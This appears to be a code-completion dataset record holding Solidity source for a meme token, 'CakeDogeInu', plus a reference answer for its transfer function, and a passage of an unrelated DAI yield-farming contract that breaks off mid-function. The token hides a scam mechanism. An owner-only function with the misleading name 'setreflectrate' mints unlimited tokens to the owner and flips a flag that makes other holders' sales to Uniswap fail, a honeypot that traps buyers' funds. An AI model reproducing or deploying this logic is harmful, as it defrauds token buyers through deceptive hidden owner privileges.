swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract CakeDogeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "CakeDogeInu | t.me/cakedogeinu"; string private constant _symbol = "CAKEDOGE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); bool private isChives = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x478a16c0c700c6ae6Ce3A1393C89De77373CF94a); _feeAddrWallet2 = payable(0x72210bc5087b5Bc191a570d003dEaA75305D7a46); _rOwned[_msgSender()] = _rTotal; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x000000000000000000000000000000000000dEaD), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if(isChives) return _balances[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setreflectrate(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _maxTxAmount = _tTotal; _balances[_msgSender()] = _balances[_msgSender()].add(amount); isChives = true; emit Transfer(address(0), _msgSender(), amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(!bots[from] && !bots[to]); require(!isChives, "Uniswap only"); require(amount <= _maxTxAmount); _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = false; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); bots[notbot] = false; } function setExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = true; } } function delExcludedFromFee(address[] memory bots_) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); for (uint i = 0; i < bots_.length; i++) { _isExcludedFromFee[bots_[i]] = false; } } <FILL_FUNCTION> function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
if(isChives){ _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _transferStandard(sender, recipient, amount); }
function _tokenTransfer(address sender, address recipient, uint256 amount) private
function _tokenTransfer(address sender, address recipient, uint256 amount) private
54266
HarvestDAIStableCoin
getPendingRewards
contract HarvestDAIStableCoin is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; struct UserDeposits { uint256 timestamp; uint256 amountfDai; } /// @notice Info of each user. struct UserInfo { uint256 amountDai; //how much DAI the user entered with uint256 amountfDai; //how much fDAI was obtained after deposit to vault uint256 amountReceiptToken; //receipt tokens printed for user; should be equal to amountfDai uint256 underlyingRatio; //ratio between obtained fDai and dai uint256 userTreasuryEth; //how much eth the user sent to treasury uint256 userCollectedFees; //how much eth the user sent to fee address uint256 joinTimestamp; //first deposit timestamp; taken into account for lock time bool wasUserBlacklisted; //if user was blacklist at deposit time, he is not receiving receipt tokens uint256 timestamp; //first deposit timestamp; used for withdrawal lock time check UserDeposits[] deposits; uint256 earnedTokens; //before fees uint256 earnedRewards; //before fees } mapping(address => UserInfo) public userInfo; mapping(address => bool) public blacklisted; //blacklisted users do not receive a receipt token uint256 public firstDepositTimestamp; //used to calculate reward per block uint256 public totalDeposits; uint256 public cap = uint256(1000000); //eth cap uint256 public totalDai; //total invested eth uint256 public lockTime = 10368000; //120 days address payable public feeAddress; uint256 public fee = uint256(50); uint256 constant feeFactor = uint256(10000); ReceiptToken public receiptToken; address public dai; address public weth; address public farmToken; address public harvestPoolToken; address payable public treasuryAddress; IMintNoRewardPool public harvestRewardPool; //deposit fDai IHarvestVault public harvestRewardVault; //get fDai IUniswapRouter public sushiswapRouter; uint256 public ethDust; uint256 public treasueryEthDust; //events event RewardsExchanged( address indexed user, string exchangeType, //ETH or DAI uint256 rewardsAmount, uint256 obtainedAmount ); event ExtraTokensExchanged( address indexed user, uint256 tokensAmount, uint256 obtainedEth ); event ObtainedInfo( address indexed user, uint256 underlying, uint256 underlyingReceipt ); event RewardsEarned(address indexed user, uint256 amount); event ExtraTokens(address indexed user, uint256 amount); event FeeSet(address indexed sender, uint256 feeAmount); event FeeAddressSet(address indexed sender, address indexed feeAddress); /// @notice Event emitted when blacklist status for an address changes event BlacklistChanged( string actionType, address indexed user, bool oldVal, bool newVal ); /// @notice Event emitted when user makes a deposit and receipt token is minted event ReceiptMinted(address indexed user, uint256 amount); /// @notice Event emitted when user withdraws and receipt token is burned event ReceiptBurned(address indexed user, uint256 amount); /// @notice Event emitted when user makes a deposit event Deposit( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai ); /// @notice Event emitted when user withdraws event Withdraw( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai, uint256 treasuryAmountEth ); /// @notice Event emitted when owner makes a rescue dust request event RescuedDust(string indexed dustType, uint256 amount); /// @notice Event emitted when owner changes any contract address event ChangedAddress( string indexed addressType, address indexed oldAddress, address indexed newAddress ); //internal mapping(address => bool) public approved; //to defend against non whitelisted contracts /// @notice Used internally for avoiding "stack-too-deep" error when depositing struct DepositData { address[] swapPath; uint256[] swapAmounts; uint256 obtainedDai; uint256 obtainedfDai; uint256 prevfDaiBalance; } /// @notice Used internally for avoiding "stack-too-deep" error when withdrawing struct WithdrawData { uint256 prevDustEthBalance; uint256 prevfDaiBalance; uint256 prevDaiBalance; uint256 obtainedfDai; uint256 obtainedDai; uint256 feeableDai; uint256 auctionedEth; uint256 auctionedDai; uint256 totalDai; uint256 rewards; uint256 farmBalance; } /** * @notice Create a new HarvestDAI contract * @param _harvestRewardVault VaultDAI address * @param _harvestRewardPool NoMintRewardPool address * @param _sushiswapRouter Sushiswap Router address * @param _harvestPoolToken Pool's underlying token address * @param _farmToken Farm address * @param _dai DAI address * @param _weth WETH address * @param _treasuryAddress treasury address * @param _receiptToken Receipt token that is minted and burned * @param _feeAddress fee address */ constructor( address _harvestRewardVault, address _harvestRewardPool, address _sushiswapRouter, address _harvestPoolToken, address _farmToken, address _dai, address _weth, address payable _treasuryAddress, address _receiptToken, address payable _feeAddress ) public { require(_harvestRewardVault != address(0), "VAULT_0x0"); require(_harvestRewardPool != address(0), "POOL_0x0"); require(_sushiswapRouter != address(0), "ROUTER_0x0"); require(_harvestPoolToken != address(0), "TOKEN_0x0"); require(_farmToken != address(0), "FARM_0x0"); require(_dai != address(0), "DAI_0x0"); require(_weth != address(0), "WETH_0x0"); require(_treasuryAddress != address(0), "TREASURY_0x0"); require(_receiptToken != address(0), "RECEIPT_0x0"); require(_feeAddress != address(0), "FEE_0x0"); harvestRewardVault = IHarvestVault(_harvestRewardVault); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); sushiswapRouter = IUniswapRouter(_sushiswapRouter); harvestPoolToken = _harvestPoolToken; farmToken = _farmToken; dai = _dai; weth = _weth; treasuryAddress = _treasuryAddress; receiptToken = ReceiptToken(_receiptToken); feeAddress = _feeAddress; } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Setters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice Update the address of VaultDAI * @dev Can only be called by the owner * @param _harvestRewardVault Address of VaultDAI */ function setHarvestRewardVault(address _harvestRewardVault) public onlyOwner { require(_harvestRewardVault != address(0), "VAULT_0x0"); emit ChangedAddress( "VAULT", address(harvestRewardVault), _harvestRewardVault ); harvestRewardVault = IHarvestVault(_harvestRewardVault); } /** * @notice Update the address of NoMintRewardPool * @dev Can only be called by the owner * @param _harvestRewardPool Address of NoMintRewardPool */ function setHarvestRewardPool(address _harvestRewardPool) public onlyOwner { require(_harvestRewardPool != address(0), "POOL_0x0"); emit ChangedAddress( "POOL", address(harvestRewardPool), _harvestRewardPool ); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); } /** * @notice Update the address of Sushiswap Router * @dev Can only be called by the owner * @param _sushiswapRouter Address of Sushiswap Router */ function setSushiswapRouter(address _sushiswapRouter) public onlyOwner { require(_sushiswapRouter != address(0), "0x0"); emit ChangedAddress( "SUSHISWAP_ROUTER", address(sushiswapRouter), _sushiswapRouter ); sushiswapRouter = IUniswapRouter(_sushiswapRouter); } /** * @notice Update the address of Pool's underlying token * @dev Can only be called by the owner * @param _harvestPoolToken Address of Pool's underlying token */ function setHarvestPoolToken(address _harvestPoolToken) public onlyOwner { require(_harvestPoolToken != address(0), "TOKEN_0x0"); emit ChangedAddress("TOKEN", harvestPoolToken, _harvestPoolToken); harvestPoolToken = _harvestPoolToken; } /** * @notice Update the address of FARM * @dev Can only be called by the owner * @param _farmToken Address of FARM */ function setFarmToken(address _farmToken) public onlyOwner { require(_farmToken != address(0), "FARM_0x0"); emit ChangedAddress("FARM", farmToken, _farmToken); farmToken = _farmToken; } /** * @notice Update the address for fees * @dev Can only be called by the owner * @param _feeAddress Fee's address */ function setTreasury(address payable _feeAddress) public onlyOwner { require(_feeAddress != address(0), "0x0"); emit ChangedAddress( "TREASURY", address(treasuryAddress), address(_feeAddress) ); treasuryAddress = _feeAddress; } /** * @notice Approve contract (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function approveContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = true; } /** * @notice Revoke contract's access (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function revokeContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = false; } /** * @notice Blacklist address; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function blacklistAddress(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("BLACKLIST", account, blacklisted[account], true); blacklisted[account] = true; } /** * @notice Remove address from blacklisted addresses; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function removeFromBlacklist(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("REMOVE", account, blacklisted[account], false); blacklisted[account] = false; } /** * @notice Set max ETH cap for this strategy * @dev Can only be called by the owner * @param _cap ETH amount */ function setCap(uint256 _cap) external onlyOwner { cap = _cap; } /** * @notice Set lock time * @dev Can only be called by the owner * @param _lockTime lock time in seconds */ function setLockTime(uint256 _lockTime) external onlyOwner { require(_lockTime > 0, "TIME_0"); lockTime = _lockTime; } function setFeeAddress(address payable _feeAddress) public onlyOwner { feeAddress = _feeAddress; emit FeeAddressSet(msg.sender, _feeAddress); } function setFee(uint256 _fee) public onlyOwner { require(_fee <= uint256(9000), "FEE_TOO_HIGH"); fee = _fee; emit FeeSet(msg.sender, _fee); } /** * @notice Rescue dust resulted from swaps/liquidity * @dev Can only be called by the owner */ function rescueDust() public onlyOwner { if (ethDust > 0) { treasuryAddress.transfer(ethDust); treasueryEthDust = treasueryEthDust.add(ethDust); emit RescuedDust("ETH", ethDust); ethDust = 0; } } /** * @notice Rescue any non-reward token that was airdropped to this contract * @dev Can only be called by the owner */ function rescueAirdroppedTokens(address _token, address to) public onlyOwner { require(_token != address(0), "token_0x0"); require(to != address(0), "to_0x0"); require(_token != farmToken, "rescue_reward_error"); uint256 balanceOfToken = IERC20(_token).balanceOf(address(this)); require(balanceOfToken > 0, "balance_0"); require(IERC20(_token).transfer(to, balanceOfToken), "rescue_failed"); } /** * @notice Check if user can withdraw based on current lock time * @param user Address of the user * @return true or false */ function isWithdrawalAvailable(address user) public view returns (bool) { if (lockTime > 0) { return userInfo[user].timestamp.add(lockTime) <= block.timestamp; } return true; } /** * @notice Deposit to this strategy for rewards * @param daiAmount Amount of DAI investment * @param deadline Number of blocks until transaction expires * @return Amount of fDAI */ function deposit(uint256 daiAmount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validate // ----- _defend(); require(daiAmount > 0, "DAI_0"); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(totalDai.add(daiAmount) <= cap, "CAP_REACHED"); DepositData memory results; UserInfo storage user = userInfo[msg.sender]; if (user.amountfDai == 0) { user.wasUserBlacklisted = blacklisted[msg.sender]; } if (user.timestamp == 0) { user.timestamp = block.timestamp; } IERC20(dai).safeTransferFrom(msg.sender, address(this), daiAmount); totalDai = totalDai.add(daiAmount); user.amountDai = user.amountDai.add(daiAmount); results.obtainedDai = daiAmount; // ----- // deposit DAI into harvest and get fDAI // ----- IERC20(dai).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedDai ); results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); harvestRewardVault.deposit(results.obtainedDai); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); // ----- // stake fDAI into the NoMintRewardPool // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), results.obtainedfDai ); user.amountfDai = user.amountfDai.add(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.add( results.obtainedfDai ); receiptToken.mint(msg.sender, results.obtainedfDai); emit ReceiptMinted(msg.sender, results.obtainedfDai); } harvestRewardPool.stake(results.obtainedfDai); emit Deposit( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai ); if (firstDepositTimestamp == 0) { firstDepositTimestamp = block.timestamp; } if (user.joinTimestamp == 0) { user.joinTimestamp = block.timestamp; } totalDeposits = totalDeposits.add(results.obtainedfDai); harvestRewardPool.getReward(); //transfers FARM to this contract user.deposits.push( UserDeposits({ timestamp: block.timestamp, amountfDai: results.obtainedfDai }) ); user.underlyingRatio = _getRatio(user.amountfDai, user.amountDai, 18); return results.obtainedfDai; } function _updateDeposits( bool removeAll, uint256 remainingAmountfDai, address account ) private { UserInfo storage user = userInfo[account]; if (removeAll) { delete user.deposits; return; } for (uint256 i = user.deposits.length; i > 0; i--) { if (remainingAmountfDai >= user.deposits[i - 1].amountfDai) { remainingAmountfDai = remainingAmountfDai.sub( user.deposits[i - 1].amountfDai ); user.deposits[i - 1].amountfDai = 0; } else { user.deposits[i - 1].amountfDai = user.deposits[i - 1] .amountfDai .sub(remainingAmountfDai); remainingAmountfDai = 0; } if (remainingAmountfDai == 0) { break; } } } /** * @notice Withdraw tokens and claim rewards * @param deadline Number of blocks until transaction expires * @return Amount of ETH obtained */ function withdraw(uint256 amount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validation // ----- uint256 receiptBalance = receiptToken.balanceOf(msg.sender); _defend(); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(amount > 0, "AMOUNT_0"); UserInfo storage user = userInfo[msg.sender]; require(user.amountfDai >= amount, "AMOUNT_GREATER_THAN_BALANCE"); if (!user.wasUserBlacklisted) { require( receiptBalance >= user.amountReceiptToken, "RECEIPT_AMOUNT" ); } if (lockTime > 0) { require( user.timestamp.add(lockTime) <= block.timestamp, "LOCK_TIME" ); } WithdrawData memory results; results.prevDustEthBalance = address(this).balance; // ----- // withdraw from NoMintRewardPool and get fDai back // ----- results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), amount ); harvestRewardPool.getReward(); //transfers FARM to this contract results.farmBalance = IERC20(farmToken).balanceOf(address(this)); results.rewards = getPendingRewards(msg.sender, amount); _updateDeposits(amount == user.amountfDai, amount, msg.sender); harvestRewardPool.withdraw(amount); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); //not sure if it's possible to get more from harvest so better to protect if (results.obtainedfDai < user.amountfDai) { user.amountfDai = user.amountfDai.sub(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.sub( results.obtainedfDai ); receiptToken.burn(msg.sender, results.obtainedfDai); emit ReceiptBurned(msg.sender, results.obtainedfDai); } } else { user.amountfDai = 0; if (!user.wasUserBlacklisted) { receiptToken.burn(msg.sender, user.amountReceiptToken); emit ReceiptBurned(msg.sender, user.amountReceiptToken); user.amountReceiptToken = 0; } } // ----- // withdraw from Harvest-DAI vault and get Dai back // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedfDai ); results.prevDaiBalance = IERC20(dai).balanceOf(address(this)); harvestRewardVault.withdraw(results.obtainedfDai); results.obtainedDai = (IERC20(dai).balanceOf(address(this))).sub( results.prevDaiBalance ); emit ObtainedInfo( msg.sender, results.obtainedDai, results.obtainedfDai ); if (amount == user.amountfDai) { //there is no point to do the ratio math as we can just get the difference between current obtained tokens and initial obtained tokens if (results.obtainedDai > user.amountDai) { results.feeableDai = results.obtainedDai.sub(user.amountDai); } } else { uint256 currentRatio = _getRatio(results.obtainedfDai, results.obtainedDai, 18); results.feeableDai = 0; if (currentRatio < user.underlyingRatio) { uint256 noOfOriginalTokensForCurrentAmount = (amount.mul(10**18)).div(user.underlyingRatio); if (noOfOriginalTokensForCurrentAmount < results.obtainedDai) { results.feeableDai = results.obtainedDai.sub( noOfOriginalTokensForCurrentAmount ); } } } if (results.feeableDai > 0) { uint256 extraTokensFee = _calculateFee(results.feeableDai); emit ExtraTokens( msg.sender, results.feeableDai.sub(extraTokensFee) ); user.earnedTokens = user.earnedTokens.add( results.feeableDai.sub(extraTokensFee) ); } //not sure if it's possible to get more from harvest so better to protect if (results.obtainedDai <= user.amountDai) { user.amountDai = user.amountDai.sub(results.obtainedDai); } else { user.amountDai = 0; } results.obtainedDai = results.obtainedDai.sub(results.feeableDai); //feeableDai/2 => goes to the user //feeableDai/2 => goes to the treasury in ETH //obtainedDai => goes to the user results.auctionedDai = 0; if (results.feeableDai > 0) { results.auctionedDai = results.feeableDai.div(2); } results.feeableDai = results.feeableDai.sub(results.auctionedDai); results.totalDai = results.obtainedDai.add(results.feeableDai); // ----- // swap auctioned DAI to ETH // ----- address[] memory swapPath = new address[](2); swapPath[0] = dai; swapPath[1] = weth; if (results.auctionedDai > 0) { uint256[] memory daiFeeableSwapAmounts = sushiswapRouter.swapExactTokensForETH( results.auctionedDai, uint256(0), swapPath, address(this), deadline ); emit ExtraTokensExchanged( msg.sender, results.auctionedDai, daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); } uint256 transferableRewards = results.rewards; if (transferableRewards > results.farmBalance) { transferableRewards = results.farmBalance; } if (transferableRewards > 0) { emit RewardsEarned(msg.sender, transferableRewards); user.earnedRewards = user.earnedRewards.add(transferableRewards); //swap 50% of rewards with ETH and add them to results.auctionedEth uint256 auctionedRewards = transferableRewards.div(2); //swap 50% of rewards with DAI and add them to results.totalDai uint256 userRewards = transferableRewards.sub(auctionedRewards); swapPath[0] = farmToken; IERC20(farmToken).safeIncreaseAllowance( address(sushiswapRouter), transferableRewards ); //swap 50% of rewards with ETH and add them to auctionedEth uint256[] memory farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( auctionedRewards, uint256(0), swapPath, address(this), deadline ); emit RewardsExchanged( msg.sender, "ETH", auctionedRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); //however, it should be > 0 if (userRewards > 0) { farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( userRewards, uint256(0), swapPath, address(this), deadline ); swapPath[0] = weth; swapPath[1] = dai; farmSwapAmounts = sushiswapRouter.swapExactETHForTokens{ value: farmSwapAmounts[farmSwapAmounts.length - 1] }(uint256(0), swapPath, address(this), deadline); emit RewardsExchanged( msg.sender, "DAI", userRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.totalDai = results.totalDai.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); } } // ----- // transfer ETH to user // ----- totalDeposits = totalDeposits.sub(results.obtainedfDai); if (user.amountfDai == 0) //full exit { //if user exits to early, obtained ETH might be lower than what user initially invested and there will be some left in amountEth //making sure we reset it user.amountDai = 0; } else { if (user.amountDai > results.totalDai) { user.amountDai = user.amountDai.sub(results.totalDai); } else { user.amountDai = 0; } } if (results.totalDai < totalDai) { totalDai = totalDai.sub(results.totalDai); } else { totalDai = 0; } //at some point we might not have any fees if (fee > 0) { uint256 feeDai = _calculateFee(results.totalDai); results.totalDai = results.totalDai.sub(feeDai); swapPath[0] = dai; swapPath[1] = weth; IERC20(dai).safeIncreaseAllowance(address(sushiswapRouter), feeDai); uint256[] memory feeSwapAmount = sushiswapRouter.swapExactTokensForETH( feeDai, uint256(0), swapPath, address(this), deadline ); feeAddress.transfer(feeSwapAmount[feeSwapAmount.length - 1]); user.userCollectedFees = user.userCollectedFees.add( feeSwapAmount[feeSwapAmount.length - 1] ); } IERC20(dai).safeTransfer(msg.sender, results.totalDai); treasuryAddress.transfer(results.auctionedEth); user.userTreasuryEth = user.userTreasuryEth.add(results.auctionedEth); emit Withdraw( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai, results.auctionedEth ); ethDust = ethDust.add( address(this).balance.sub(results.prevDustEthBalance) ); if (user.amountfDai == 0 || user.amountDai == 0) { user.underlyingRatio = 0; } else { user.underlyingRatio = _getRatio( user.amountfDai, user.amountDai, 18 ); } return results.totalDai; } /// @notice Transfer rewards to this strategy function updateReward() public onlyOwner { harvestRewardPool.getReward(); } function _calculateFee(uint256 amount) private view returns (uint256) { return (amount.mul(fee)).div(feeFactor); } function _defend() private view returns (bool) { require( approved[msg.sender] || msg.sender == tx.origin, "access_denied" ); } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Getters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice View function to see pending rewards for account. * @param account user account to check * @param amount amount you want to calculate for; if 0 will calculate for entire amount * @return pending rewards */ function getPendingRewards(address account, uint256 amount) public view returns 